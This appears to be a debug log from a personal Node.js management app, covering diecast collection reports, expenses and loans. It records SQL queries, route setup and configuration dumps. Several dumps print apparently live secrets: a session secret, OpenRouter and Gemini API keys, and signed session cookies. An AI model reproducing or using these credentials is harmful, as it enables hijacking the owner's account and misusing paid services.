      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-07-03T10:37:19.684Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-07-03T10:37:19.684Z server-connect:app Executing action step select
2026-07-03T10:37:19.684Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-03T10:37:19.685Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-07-03T10:37:19.687Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-07-03T10:37:35.617Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-03T10:37:35.800Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-03T10:37:35.880Z server-connect:setup:upload Upload middleware configured.
2026-07-03T10:37:35.880Z server-connect:secure CSRF Protection initialized
2026-07-03T10:37:35.883Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-03T10:37:35.884Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-03T10:37:35.885Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-03T10:37:35.887Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-03T10:37:35.888Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-03T10:37:35.889Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-03T10:37:35.890Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-03T10:37:35.893Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-03T10:37:35.894Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-03T10:37:35.894Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-03T10:37:35.894Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-03T10:37:35.895Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-03T10:37:35.895Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-03T10:37:35.895Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-03T10:37:35.895Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-03T10:37:35.896Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-03T10:37:35.896Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-03T10:37:35.896Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-03T10:37:35.897Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-03T10:37:35.897Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-03T10:37:35.897Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-03T10:37:35.898Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-03T10:37:35.898Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-03T10:37:35.898Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-03T10:37:35.898Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-03T10:37:35.899Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-03T10:37:35.899Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-03T10:37:35.899Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-03T10:37:35.899Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-03T10:37:35.899Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-03T10:37:35.900Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-03T10:37:35.900Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-03T10:37:35.900Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-03T10:37:35.900Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-03T10:37:35.900Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-03T10:37:35.901Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-03T10:37:35.901Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-03T10:37:35.901Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-03T10:37:36.030Z server-connect:router Serving templateView /diecast-reports
2026-07-03T10:37:36.032Z server-connect:app Executing action step identify
2026-07-03T10:37:36.032Z server-connect:app options: { provider: 'security' }
2026-07-03T10:37:36.034Z server-connect:output identity: 1
2026-07-03T10:37:36.034Z server-connect:app Executing action step restrict
2026-07-03T10:37:36.034Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-03T10:37:36.037Z server-connect:output restrict: undefined
2026-07-03T10:37:36.037Z server-connect:router Render template diecast-reports
2026-07-03T10:37:36.037Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AdAm7BGcFfqLXaYO9AXNf0A%3D%3D.iInXcNeVCIMUi%2Fq1Kw5GhQWoyIcopn4hOO0h8%2BUb5x6yiVSkl4V22iTVHbgQTWNfwaDCL3zNbXPp%2Bpxrx8r%2FnAZ9RKnKThe72ZUYHUZwQZ5SYcvoyPcyXZxZVvA%2BtKvezq0gDQFGpHbW0g%2FIVsUDddl5B0uGlUn2l5fLJ5uXP8g%3D.Pn%2BtVDBdY6qPxmZEdHd3HZ%2FZ4H%2FiwjYo78luyWMEOOQ; your_r_git.sid=s%3Av_Vsyho4KiE0Eb6mc6kHfG9v3RRIi6TS.mbM95ImPj%2Bzb5Zm1ph76PbFwTYEI3%2FM0fj6ZXY5wllI',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-04T09:27:29.533Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-reports',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-reports',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AdAm7BGcFfqLXaYO9AXNf0A%3D%3D.iInXcNeVCIMUi%2Fq1Kw5GhQWoyIcopn4hOO0h8%2BUb5x6yiVSkl4V22iTVHbgQTWNfwaDCL3zNbXPp%2Bpxrx8r%2FnAZ9RKnKThe72ZUYHUZwQZ5SYcvoyPcyXZxZVvA%2BtKvezq0gDQFGpHbW0g%2FIVsUDddl5B0uGlUn2l5fLJ5uXP8g%3D.Pn%2BtVDBdY6qPxmZEdHd3HZ%2FZ4H%2FiwjYo78luyWMEOOQ; your_r_git.sid=s%3Av_Vsyho4KiE0Eb6mc6kHfG9v3RRIi6TS.mbM95ImPj%2Bzb5Zm1ph76PbFwTYEI3%2FM0fj6ZXY5wllI',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-07-03T10:37:36.333Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2026-07-03T10:37:36.333Z server-connect:app Executing action step identify
2026-07-03T10:37:36.333Z server-connect:app options: { provider: 'security' }
2026-07-03T10:37:36.333Z server-connect:output identity: 1
2026-07-03T10:37:36.333Z server-connect:app Executing action step restrict
2026-07-03T10:37:36.333Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-03T10:37:36.334Z server-connect:output restrict: undefined
2026-07-03T10:37:36.335Z server-connect:app Executing action step custom
2026-07-03T10:37:36.335Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-07-03T10:37:36.338Z server-connect:output list: [
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  { series: 176, name: 'HW Silver Series', total: 6 },
  { series: 195, name: 'Majorette Castheads Gift Set', total: 5 },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 107, name: 'HW EV', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 101, name: 'HW Then and now', total: 5 },
  { series: 193, name: 'Majorette Black Edition Gift Set', total: 5 },
  { series: 194, name: 'Majorette Mercedes AMG Gift Set', total: 5 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 150, name: 'HW Reverse Rake', total: 3 },
  { series: 149, name: 'HW Compact Kings', total: 3 },
  { series: 92, name: 'Fantasy', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 151, name: 'HW Rod Squad', total: 2 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 },
  { series: 181, name: 'HW Pop Culture', total: 1 },
  { series: 180, name: 'HW Pantone', total: 1 },
  { series: 179, name: 'HW Euro', total: 1 },
  { series: 178, name: 'HW Ride-Ons', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 163, name: 'HW Starting Grid', total: 1 }
]
2026-07-03T10:37:42.706Z server-connect:router Serving serverConnect /api/reports/diecast/by-manufacturer
2026-07-03T10:37:42.706Z server-connect:app Executing action step identify
2026-07-03T10:37:42.707Z server-connect:app options: { provider: 'security' }
2026-07-03T10:37:42.707Z server-connect:output identity: 1
2026-07-03T10:37:42.707Z server-connect:app Executing action step restrict
2026-07-03T10:37:42.707Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-03T10:37:42.708Z server-connect:output restrict: undefined
2026-07-03T10:37:42.708Z server-connect:app Executing action step custom
2026-07-03T10:37:42.708Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.brand_id,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.brand_id\n' +
      'GROUP BY dc.brand_id, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-07-03T10:37:42.709Z server-connect:output list: [
  { brand_id: 71, name: 'Hotwheels', total: 84 },
  { brand_id: 72, name: 'Majorette', total: 46 },
  { brand_id: 73, name: 'Matchbox', total: 32 },
  { brand_id: 158, name: 'CCA', total: 3 },
  { brand_id: 74, name: 'Bburago', total: 1 },
  { brand_id: 191, name: 'Jams Toys', total: 1 }
]
2026-07-03T12:37:02.118Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-03T12:37:04.258Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-03T12:37:05.122Z server-connect:setup:upload Upload middleware configured.
2026-07-03T12:37:05.123Z server-connect:secure CSRF Protection initialized
2026-07-03T12:37:05.128Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-03T12:37:05.130Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-03T12:37:05.131Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-03T12:37:05.133Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-03T12:37:05.140Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-03T12:37:05.145Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-03T12:37:05.157Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-03T12:37:05.170Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-03T12:37:05.173Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-03T12:37:05.176Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-03T12:37:05.179Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-03T12:37:05.183Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-03T12:37:05.188Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-03T12:37:05.199Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-03T12:37:05.201Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-03T12:37:05.274Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-03T12:37:05.275Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-03T12:37:05.280Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-03T12:37:05.286Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-03T12:37:05.289Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-03T12:37:05.292Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-03T12:37:05.300Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-03T12:37:05.300Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-03T12:37:05.307Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-03T12:37:05.309Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-03T12:37:05.313Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-03T12:37:05.315Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-03T12:37:05.317Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-03T12:37:05.323Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-03T12:37:05.325Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-03T12:37:05.328Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-03T12:37:05.328Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-03T12:37:05.333Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-03T12:37:05.333Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-03T12:37:05.340Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-03T12:37:05.344Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-03T12:37:05.346Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-03T12:37:05.356Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-03T12:37:05.844Z server-connect:router Serving templateView /
2026-07-03T12:37:05.847Z server-connect:app Executing action step identify
2026-07-03T12:37:05.847Z server-connect:app options: { provider: 'security' }
2026-07-03T12:37:05.849Z server-connect:auth No login cookie found
2026-07-03T12:37:05.849Z server-connect:output identity: false
2026-07-03T12:37:05.849Z server-connect:app Executing action step restrict
2026-07-03T12:37:05.849Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-03T12:37:05.853Z server-connect:output restrict: undefined
2026-07-03T12:37:06.024Z server-connect:router Serving templateView /login
2026-07-03T12:37:06.025Z server-connect:app Executing action step identify
2026-07-03T12:37:06.025Z server-connect:app options: { provider: 'security' }
2026-07-03T12:37:06.025Z server-connect:auth No login cookie found
2026-07-03T12:37:06.025Z server-connect:output identity: false
2026-07-03T12:37:06.025Z server-connect:router Render template layouts/authentication
2026-07-03T12:37:06.026Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '8.231.252.137',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-04T12:37:06.022Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '8.231.252.137',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '8.231.252.137',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-03T12:44:17.067Z server-connect:setup:config {
  port: 3001,
  debug: true,
